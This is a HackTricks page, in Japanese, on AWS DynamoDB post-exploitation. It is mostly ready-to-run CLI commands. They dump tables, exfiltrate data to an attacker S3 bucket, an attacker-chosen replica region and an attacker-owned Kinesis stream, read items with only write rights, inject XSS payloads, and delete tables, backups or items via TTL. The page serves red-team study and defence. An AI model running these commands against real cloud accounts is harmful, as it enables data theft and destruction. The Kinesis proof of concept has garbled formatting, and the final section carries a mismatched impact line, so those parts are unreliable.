AWS - DynamoDB Post Exploitation

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

DynamoDB

詳細は以下を参照してください:

AWS - DynamoDB Enum

dynamodb:BatchGetItem

この権限を持つ攻撃者は、primary keyによってテーブルからアイテムを取得することができます(テーブルの全データを一度に要求することはできません)。これは、primary keysを把握している必要があることを意味します(テーブルのメタデータを取得して describe-table で確認できます)。

aws dynamodb batch-get-item --request-items file:///tmp/a.json

// With a.json
{
"ProductCatalog" : { // This is the table name
"Keys": [
{
"Id" : { // Primary keys name
"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
}
}
]
}
}

想定される影響: テーブル内の機密情報を特定することで間接的なprivescに繋がる可能性がある

dynamodb:GetItem

前述の権限と同様に この権限は、攻撃者が取得するエントリのプライマリキーを指定することで、1つのテーブルから値を読み取れるようにする:

aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json

// With a.json
{
"Id" : {
"N": "205"
}
}

この権限があれば、transact-get-items メソッドを次のように使用することもできます:

aws dynamodb transact-get-items \
--transact-items file:///tmp/a.json

// With a.json
[
{
"Get": {
"Key": {
"Id": {"N": "205"}
},
"TableName": "ProductCatalog"
}
}
]

Potential Impact: テーブル内の機密情報を特定することで間接的に privesc を引き起こす可能性があります

dynamodb:Query

Similar to the previous permissions この権限は、攻撃者が取得したいエントリのプライマリキーを指定することで、単一のテーブルから値を読み取ることを許可します。これは subset of comparisons を使用できますが、必須であるプライマリキーに対して許可されている比較は “EQ” のみであるため、比較式を使って1回のリクエストで DB 全体を取得することはできません。

aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json

// With a.json
{
"Id" : {
"ComparisonOperator":"EQ",
"AttributeValueList": [ {"N": "205"} ]
}
}

Potential Impact: テーブル内の機密情報を特定することで間接的な privesc が発生する可能性があります

dynamodb:Scan

この権限を使用すると、dump the entire table easily

aws dynamodb scan --table-name <t_name> #Get data inside the table

Potential Impact: テーブル内の機密情報を特定することで間接的な privesc を引き起こす可能性があります

dynamodb:PartiQLSelect

この権限を使用すると、dump the entire table easily.

aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"

この権限は batch-execute-statement の実行も許可します:

aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'

ただし、主キーに値を指定する必要があるため、それほど有用ではありません。

Potential Impact: テーブル内の機密情報を特定することによる間接的な privesc

dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)

この権限があれば攻撃者はテーブル全体を任意の S3 バケットにエクスポートできます:

aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
--s3-bucket <attacker_s3_bucket> \
--s3-prefix <optional_prefix> \
--export-time <point_in_time> \
--region <region>

これを動作させるには、テーブルで point-in-time-recovery が有効になっている必要があります。テーブルに設定されているかどうかは以下で確認できます:

aws dynamodb describe-continuous-backups \
--table-name <tablename>

もし有効になっていない場合は、有効にする必要があり、そのためには dynamodb:ExportTableToPointInTime 権限が必要です:

aws dynamodb update-continuous-backups \
--table-name <value> \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true

潜在的な影響: テーブル内の機密情報を特定することによる間接的な privesc

dynamodb:CreateTable, dynamodb:RestoreTableFromBackup, (dynamodb:CreateBackup)

これらの権限があれば、攻撃者はバックアップから新しいテーブルを作成する(またはバックアップを作成して別のテーブルに復元することさえ)ことができる。さらに、必要な権限があれば、バックアップから情報を確認でき、本番環境のテーブルにはもう存在しないものを見つけられる。

aws dynamodb restore-table-from-backup \
--backup-arn <source-backup-arn> \
--target-table-name <new-table-name> \
--region <region>

潜在的な影響: テーブルのバックアップ内の機密情報を特定することによる間接的なprivesc

dynamodb:PutItem

この権限により、ユーザーはテーブルに新しいアイテムを追加するか、既存のアイテムを新しいアイテムで置き換えることができます。同じプライマリキーを持つアイテムが既に存在する場合、アイテム全体が新しいアイテムで置き換えられます。プライマリキーが存在しない場合、指定されたプライマリキーを持つ新しいアイテムが作成されます。

## Create new item with XSS payload
aws dynamodb put-item --table <table_name> --item file://add.json
### With add.json:
{
"Id": {
"S": "1000"
},
"Name": {
"S":  "Marc"
},
"Description": {
"S": "<script>alert(1)</script>"
}
}

Potential Impact: DynamoDB テーブルにデータを追加/変更できることで、更なる脆弱性やバイパスの悪用につながる可能性

dynamodb:UpdateItem

この権限によりユーザーは アイテムの既存属性を変更したり、アイテムに新しい属性を追加したり できます。アイテム全体を置き換えるわけではなく、指定された属性のみを更新します。テーブルに主キーが存在しない場合、操作は指定した主キーで新しいアイテムを作成し、更新式で指定された属性を設定します。

## Update item with XSS payload
aws dynamodb update-item --table <table_name> \
--key file://key.json --update-expression "SET Description = :value" \
--expression-attribute-values file://val.json
### With key.json:
{
"Id": {
"S": "1000"
}
}
### and val.json
{
":value": {
"S": "<script>alert(1)</script>"
}
}

潜在的影響: DynamoDB テーブルにデータを追加/変更できることにより、さらなる脆弱性やバイパスが悪用される可能性

dynamodb:DeleteTable

この権限を持つ攻撃者は、DynamoDB テーブルを削除し、データ損失を引き起こすことができます

aws dynamodb delete-table \
--table-name TargetTable \
--region <region>

潜在的な影響: データ損失と、削除されたテーブルに依存するサービスの中断。

dynamodb:DeleteBackup

この権限を持つ攻撃者はDynamoDB のバックアップを削除でき、災害復旧時にデータ損失を引き起こす可能性がある

aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
--region <region>

潜在的な影響: 災害復旧シナリオでバックアップからの復元ができなくなる可能性やデータの喪失。

dynamodb:StreamSpecification, dynamodb:UpdateTable, dynamodb:DescribeStream, dynamodb:GetShardIterator, dynamodb:GetRecords

Note

TODO: 実際にこれが動作するかテストする

これらの権限を持つ攻撃者は、DynamoDBテーブルでストリームを有効化し、テーブルを更新して変更のストリームを開始し、そのストリームにアクセスしてテーブルの変更をリアルタイムで監視することができます。これにより攻撃者はデータの変更を監視およびexfiltrateし、潜在的にdata leakageにつながる可能性があります。

  1. DynamoDBテーブルでストリームを有効化する:
aws dynamodb update-table \
--table-name TargetTable \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
--region <region>
  1. ARN やその他の詳細を取得するためにストリームを説明する:
aws dynamodb describe-stream \
--table-name TargetTable \
--region <region>
  1. stream ARN を使用して shard iterator を取得する:
aws dynamodbstreams get-shard-iterator \
--stream-arn <stream_arn> \
--shard-id <shard_id> \
--shard-iterator-type LATEST \
--region <region>
  1. shard iteratorを使用してストリームからデータにアクセスし、exfiltrateする:
aws dynamodbstreams get-records \
--shard-iterator <shard_iterator> \
--region <region>

潜在的な影響: DynamoDB テーブルの変更のリアルタイム監視と data leakage.

dynamodb:UpdateItemReturnValues=ALL_OLD を介してアイテムを読み取る

テーブルに対して dynamodb:UpdateItem のみを持つ攻撃者は、通常の読み取り権限(GetItem/Query/Scan)なしで、無害な更新を行い --return-values ALL_OLD を要求することでアイテムを読み取ることができます。DynamoDB はレスポンスの Attributes フィールドに更新前のアイテム全体を返します(これは RCUs を消費しません)。

  • 最小権限: 対象のテーブル/キーでの dynamodb:UpdateItem
  • 前提条件: アイテムのプライマリキーを知っている必要があります。

例(無害な属性を追加し、レスポンス内の以前のアイテムを exfiltrates):

aws dynamodb update-item \
--table-name <TargetTable> \
--key '{"<PKName>":{"S":"<PKValue>"}}' \
--update-expression 'SET #m = :v' \
--expression-attribute-names '{"#m":"exfil_marker"}' \
--expression-attribute-values '{":v":{"S":"1"}}' \
--return-values ALL_OLD \
--region <region>

CLI の応答には Attributes ブロックが含まれ、完全な以前のアイテム(全属性)を返します。これにより、write-only access から実質的な read primitive が提供されます。

潜在的な影響: 書き込み権限のみでテーブルの任意のアイテムを読み取り、主キーが判明している場合に機密データの exfiltration を可能にします。

dynamodb:UpdateTable (replica-updates) | dynamodb:CreateTableReplica

新しいレプリカ Region を DynamoDB Global Table(version 2019.11.21)に追加することでステルスな exfiltration を行います。principal がリージョナルレプリカを追加できる場合、テーブル全体が攻撃者が選んだリージョンへレプリケートされ、攻撃者はそこから全アイテムを読み取ることができます。

# Add a new replica Region (from primary Region)
aws dynamodb update-table \
--table-name <TableName> \
--replica-updates '[{"Create": {"RegionName": "<replica-region>"}}]' \
--region <primary-region>

# Wait until the replica table becomes ACTIVE in the replica Region
aws dynamodb describe-table --table-name <TableName> --region <replica-region> --query 'Table.TableStatus'

# Exfiltrate by reading from the replica Region
aws dynamodb scan --table-name <TableName> --region <replica-region>

権限: dynamodb:UpdateTable (with replica-updates) またはターゲットテーブル上の dynamodb:CreateTableReplica。レプリカで CMK が使用されている場合、そのキーに対する KMS の権限が必要になる場合があります。

潜在的影響: 攻撃者が制御するリージョンへのテーブル全体のレプリケーションにより、データのステルスな流出が発生する可能性があります。

dynamodb:TransactWriteItems (失敗した条件 + ReturnValuesOnConditionCheckFailure=ALL_OLD による読み取り)

トランザクション書き込み権限を持つ攻撃者は、TransactWriteItems 内で Update を実行し、意図的に ConditionExpression を失敗させつつ ReturnValuesOnConditionCheckFailure=ALL_OLD を設定することで、既存アイテムの全属性を流出させることができます。失敗時、DynamoDB はトランザクションのキャンセル理由に事前の属性を含めるため、特定のキーに対する書き込み専用アクセスを事実上読み取りアクセスに変えます。

# Create the transaction input (list form for --transact-items)
cat > /tmp/tx_items.json << 'JSON'
[
{
"Update": {
"TableName": "<TableName>",
"Key": {"<PKName>": {"S": "<PKValue>"}},
"UpdateExpression": "SET #m = :v",
"ExpressionAttributeNames": {"#m": "marker"},
"ExpressionAttributeValues": {":v": {"S": "x"}},
"ConditionExpression": "attribute_not_exists(<PKName>)",
"ReturnValuesOnConditionCheckFailure": "ALL_OLD"
}
}
]
JSON

# Execute. Newer AWS CLI versions support returning cancellation reasons
aws dynamodb transact-write-items \
--transact-items file:///tmp/tx_items.json \
--region <region> \
--return-cancellation-reasons
# The command fails with TransactionCanceledException; parse cancellationReasons[0].Item

権限: dynamodb:TransactWriteItems を対象テーブル(および該当するアイテム)に対して保持。読み取り権限は不要。

潜在的な影響: 返却されるキャンセル理由を利用して、トランザクションの書き込み権限のみでテーブルから任意のアイテム(プライマリキーによる)を読み取ることが可能。

dynamodb:UpdateTable + dynamodb:UpdateItem + dynamodb:Query on GSI

読み取り制限を回避するために、低エントロピーの属性に対して ProjectionType=ALL を持つ Global Secondary Index (GSI) を作成し、その属性を全アイテムで一定の値に設定してからインデックスを Query して完全なアイテムを取得します。これはベーステーブルでの Query/Scan が拒否されていても、インデックスの ARN に対してクエリできる限り機能します。

  • 最小権限:
  • dynamodb:UpdateTable を対象テーブルに対して(ProjectionType=ALL の GSI を作成するため)。
  • dynamodb:UpdateItem を対象テーブルのキーに対して(各アイテムに対してインデックス化する属性を設定するため)。
  • dynamodb:Query をインデックスのリソース ARN (arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>) に対して。

Steps (PoC in us-east-1):

# 1) Create table and seed items (without the future GSI attribute)
aws dynamodb create-table --table-name HTXIdx \
--attribute-definitions AttributeName=id,AttributeType=S \
--key-schema AttributeName=id,KeyType=HASH \
--billing-mode PAY_PER_REQUEST --region us-east-1
aws dynamodb wait table-exists --table-name HTXIdx --region us-east-1
for i in 1 2 3 4 5; do \
aws dynamodb put-item --table-name HTXIdx \
--item "{\"id\":{\"S\":\"$i\"},\"secret\":{\"S\":\"sec-$i\"}}" \
--region us-east-1; done

# 2) Add GSI on attribute X with ProjectionType=ALL
aws dynamodb update-table --table-name HTXIdx \
--attribute-definitions AttributeName=X,AttributeType=S \
--global-secondary-index-updates '[{"Create":{"IndexName":"ExfilIndex","KeySchema":[{"AttributeName":"X","KeyType":"HASH"}],"Projection":{"ProjectionType":"ALL"}}}]' \
--region us-east-1
# Wait for index to become ACTIVE
aws dynamodb describe-table --table-name HTXIdx --region us-east-1 \
--query 'Table.GlobalSecondaryIndexes[?IndexName==`ExfilIndex`].IndexStatus'

# 3) Set X="dump" for each item (only UpdateItem on known keys)
for i in 1 2 3 4 5; do \
aws dynamodb update-item --table-name HTXIdx \
--key "{\"id\":{\"S\":\"$i\"}}" \
--update-expression 'SET #x = :v' \
--expression-attribute-names '{"#x":"X"}' \
--expression-attribute-values '{":v":{"S":"dump"}}' \
--region us-east-1; done

# 4) Query the index by the constant value to retrieve full items
aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
--key-condition-expression '#x = :v' \
--expression-attribute-names '{"#x":"X"}' \
--expression-attribute-values '{":v":{"S":"dump"}}' \
--region us-east-1

Potential Impact: ベーステーブルの読み取りAPIが拒否されている場合でも、すべての属性を投影するように設定された新しい GSI をクエリすることでテーブル全体を外部に持ち出せる。

dynamodb:EnableKinesisStreamingDestination(Kinesis Data Streams を介した継続的なデータ流出)

DynamoDB の Kinesis streaming destination を悪用して、テーブルの変更を攻撃者が管理する Kinesis Data Stream に継続的に流出させる。有効化されると、INSERT/MODIFY/REMOVE イベントがほぼリアルタイムでストリームに転送され、テーブルの読み取り権限は不要になる。

Minimum permissions (attacker):

  • ターゲットテーブルに対する dynamodb:EnableKinesisStreamingDestination
  • ステータス監視のために任意で dynamodb:DescribeKinesisStreamingDestination/dynamodb:DescribeTable
  • レコードを消費するために攻撃者所有の Kinesis ストリームに対する読み取り権限: kinesis:*
PoC (us-east-1) ```bash # 1) Prepare: create a table and seed one item aws dynamodb create-table --table-name HTXKStream \ --attribute-definitions AttributeName=id,AttributeType=S \ --key-schema AttributeName=id,KeyType=HASH \ --billing-mode PAY_PER_REQUEST --region us-east-1 aws dynamodb wait table-exists --table-name HTXKStream --region us-east-1 aws dynamodb put-item --table-name HTXKStream \ --item file:///tmp/htx_item1.json --region us-east-1 # /tmp/htx_item1.json # {"id":{"S":"a1"},"secret":{"S":"s-1"}}

2) Create attacker Kinesis Data Stream

aws kinesis create-stream –stream-name htx-ddb-exfil –shard-count 1 –region us-east-1 aws kinesis wait stream-exists –stream-name htx-ddb-exfil –region us-east-1

3) Enable the DynamoDB -> Kinesis streaming destination

STREAM_ARN=$(aws kinesis describe-stream-summary –stream-name htx-ddb-exfil
–region us-east-1 –query StreamDescriptionSummary.StreamARN –output text) aws dynamodb enable-kinesis-streaming-destination
–table-name HTXKStream –stream-arn “$STREAM_ARN” –region us-east-1

Optionally wait until ACTIVE

aws dynamodb describe-kinesis-streaming-destination –table-name HTXKStream
–region us-east-1 –query KinesisDataStreamDestinations[0].DestinationStatus

4) Generate changes on the table

aws dynamodb put-item –table-name HTXKStream
–item file:///tmp/htx_item2.json –region us-east-1

/tmp/htx_item2.json

{“id”:{“S”:“a2”},“secret”:{“S”:“s-2”}}

aws dynamodb update-item –table-name HTXKStream
–key file:///tmp/htx_key_a1.json
–update-expression “SET #i = :v”
–expression-attribute-names {#i:info}
–expression-attribute-values {:v:{S:updated}}
–region us-east-1

/tmp/htx_key_a1.json -> {“id”:{“S”:“a1”}}

5) Consume from Kinesis to observe DynamoDB images

SHARD=$(aws kinesis list-shards –stream-name htx-ddb-exfil –region us-east-1
–query Shards[0].ShardId –output text) IT=$(aws kinesis get-shard-iterator –stream-name htx-ddb-exfil –shard-id “$SHARD”
–shard-iterator-type TRIM_HORIZON –region us-east-1 –query ShardIterator –output text) aws kinesis get-records –shard-iterator “$IT” –limit 10 –region us-east-1 > /tmp/krec.json

Decode one record (Data is base64-encoded)

jq -r .Records[0].Data /tmp/krec.json | base64 –decode | jq .

6) Cleanup (recommended)

aws dynamodb disable-kinesis-streaming-destination
–table-name HTXKStream –stream-arn “$STREAM_ARN” –region us-east-1 || true aws kinesis delete-stream –stream-name htx-ddb-exfil –enforce-consumer-deletion –region us-east-1 || true aws dynamodb delete-table –table-name HTXKStream –region us-east-1 || true

### `dynamodb:UpdateTimeToLive`

dynamodb:UpdateTimeToLive 権限を持つ攻撃者は、テーブルの TTL (time-to-live) 設定を変更でき、TTL を有効化または無効化できます。TTL が有効な場合、設定された TTL 属性を含む各アイテムは、有効期限に達すると自動的に削除されます。TTL 値は各アイテムの単なる属性に過ぎず、その属性を持たないアイテムは TTL による削除の影響を受けません。

アイテムがまだ TTL 属性を含んでいない場合、攻撃者はTTL 属性を追加して大量削除を引き起こすためにアイテムを更新する権限(例えば dynamodb:UpdateItem)も必要になります。

まずテーブルで TTL を有効にし、有効期限に使う属性名を指定します:
```bash
aws dynamodb update-time-to-live \
--table-name <TABLE_NAME> \
--time-to-live-specification "Enabled=true, AttributeName=<TTL_ATTRIBUTE_NAME>"

次に、items を更新して TTL 属性 (epoch seconds) を追加し、期限切れになって削除されるようにします:

aws dynamodb update-item \
--table-name <TABLE_NAME> \
--key '<PRIMARY_KEY_JSON>' \
--update-expression "SET <TTL_ATTRIBUTE_NAME> = :t" \
--expression-attribute-values '{":t":{"N":"<EPOCH_SECONDS_VALUE>"}}'

dynamodb:RestoreTableFromAwsBackup & dynamodb:RestoreTableToPointInTime

dynamodb:RestoreTableFromAwsBackup または dynamodb:RestoreTableToPointInTime の権限を持つ攻撃者は、元のテーブルを上書きせずにバックアップやポイントインタイムリカバリ(PITR)から復元した新しいテーブルを作成できます。復元されたテーブルには選択した時点のデータの完全なイメージが含まれるため、攻撃者は過去の情報を外部に持ち出したり、データベースの過去の状態を完全にダンプしたりできます。

オンデマンドバックアップからDynamoDBテーブルを復元する例:

aws dynamodb restore-table-from-backup \
--target-table-name <NEW_TABLE_NAME> \
--backup-arn <BACKUP_ARN>

DynamoDB テーブルをポイントインタイムで復元する(復元した状態で新しいテーブルを作成する):

aws dynamodb restore-table-to-point-in-time \
--source-table-name <SOURCE_TABLE_NAME> \
--target-table-name <NEW_TABLE_NAME> \
--use-latest-restorable-time

潜在的影響: テーブルへの直接的な read operations を伴わずに、テーブルの変更を継続的かつほぼリアルタイムで attacker-controlled Kinesis stream に exfiltration できる。

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする